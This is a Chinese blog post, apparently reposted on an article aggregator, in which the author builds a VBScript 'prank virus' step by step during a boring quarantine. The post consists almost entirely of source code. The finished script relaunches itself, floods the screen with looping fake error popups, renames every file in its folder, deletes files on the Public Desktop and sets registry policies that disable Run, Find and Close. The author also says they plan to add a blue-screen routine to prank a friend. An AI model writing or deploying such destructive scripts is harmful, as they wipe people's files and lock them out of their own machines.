栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 系统运维 > 运维 > Linux

逐渐进化的小病毒

Linux 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

逐渐进化的小病毒

隔离在家无(gao)聊(shi)时,你会干什么?--随便写写VBS

Dim fso, wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")  
Set wsh = wscript.CreateObject("wscript.shell")
curpath=fso.GetFolder(".").Path&"asd.vbs"
DirTotal = DirTotal + 1  
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"

加个循环

On Error Resume Next
Dim fso, wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")  
Set wsh = wscript.CreateObject("wscript.shell")
curpath=fso.GetFolder(".").Path&"asd.vbs"
DirTotal = DirTotal + 1  
wsh.run curpath
do
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
loop

接着来点修改父文件夹里的文件名称

On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
Set fso = wscript.CreateObject("scripting.filesystemobject")  
Set wsh = wscript.CreateObject("wscript.shell")
Set cf = fso.getfolder(".") 
curpath=fso.GetFolder(".").Path&"asd.vbs" 
If cf.Files.Count > 0 Then  
	For Each myFile In cf.Files  
		If strcomp(myFile.Name,"asd.vbs")=0 Then  
		Else
			fso.MoveFile cf.path&""&myFile.Name,cf.path&"ERROR"&FileTotal
			FileTotal = FileTotal + 1  
		End If  
	Next  
End If 
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"

组合一下

On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")  
Set wsh = wscript.CreateObject("wscript.shell")
Set curFolders = fso.getfolder("C:UsersPublicDesktop") 
Set cf = fso.getfolder(".") 
curpath=fso.GetFolder(".").Path&"asd.vbs"
DirTotal = DirTotal + 1  
If curFolders.Files.Count > 0 Then  
	For Each myFile In curFolders.Files  
		If Instr(1,strcomp(myFile.Name,"asd.vbs"))<=0 Then  
		Else
			fso.DeleteFile "C:UsersPublicDesktop"&myFile.Name
			FileTotal = FileTotal + 1  
		End If  
	Next  
End If
If cf.Files.Count > 0 Then  
	For Each myFile In cf.Files  
		If strcomp(myFile.Name,"asd.vbs")=0 Then  
		Else
			fso.MoveFile cf.path&""&myFile.Name,cf.path&"ERROR"&FileTotal
			FileTotal = FileTotal + 1  
		End If  
	Next  
End If 
wsh.run curpath
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"

Dim CS
Set CS=WScript.CreateObject("wscript.shell")
RegPath="HKCRSoftwareMicrosoftWindowsCurrentVersionPolicies"
TypeN="REG_DWORD"
SM_Run="NoRun"
SM_Find="NoFind"
SM_Close="NoClose"
Sub Change(Argument)
CS.RegWrite RegPath&Argument,1,TypeN
MsgBox("Success!")
End Sub
Call Change(SM_Run) 
Call Change(SM_Find) 
Call Change(SM_Close) 

修改注册表也可以加上。我不(lan)想(de)重装虚拟机o(* ̄▽ ̄*)ブ

拼一下

On Error Resume Next
Dim fso, myFolder, myFile, curFolder,wsh
DirTotal=0
Set fso = wscript.CreateObject("scripting.filesystemobject")  
Set wsh = wscript.CreateObject("wscript.shell")
Set curFolders = fso.getfolder("C:UsersPublicDesktop") 
Set cf = fso.getfolder(".") 
curpath=fso.GetFolder(".").Path&"asd.vbs"
DirTotal = DirTotal + 1  
'这一段是后来加的
If curFolders.Files.Count > 0 Then  
	For Each myFile In curFolders.Files  
		If Instr(1,strcomp(myFile.Name,"asd.vbs"))<=0 Then  
		Else
			fso.DeleteFile "C:UsersPublicDesktop"&myFile.Name
			FileTotal = FileTotal + 1  
		End If  
	Next  
End If

If cf.Files.Count > 0 Then  
	For Each myFile In cf.Files  
		If strcomp(myFile.Name,"asd.vbs")=0 Then  
		Else
			fso.MoveFile cf.path&""&myFile.Name,cf.path&"ERROR"&FileTotal
			FileTotal = FileTotal + 1  
		End If  
	Next  
End If 
wsh.run curpath
do
Msgbox "No more disk space. Delete Windows?",16,"Aww Man!"
loop

ps:忽略报错是为了跳过无权限的文件,不是调试不行!

:)(准备加上一段蓝屏代码和弹窗来整我的好伙伴)

效果图:

 

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/838284.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号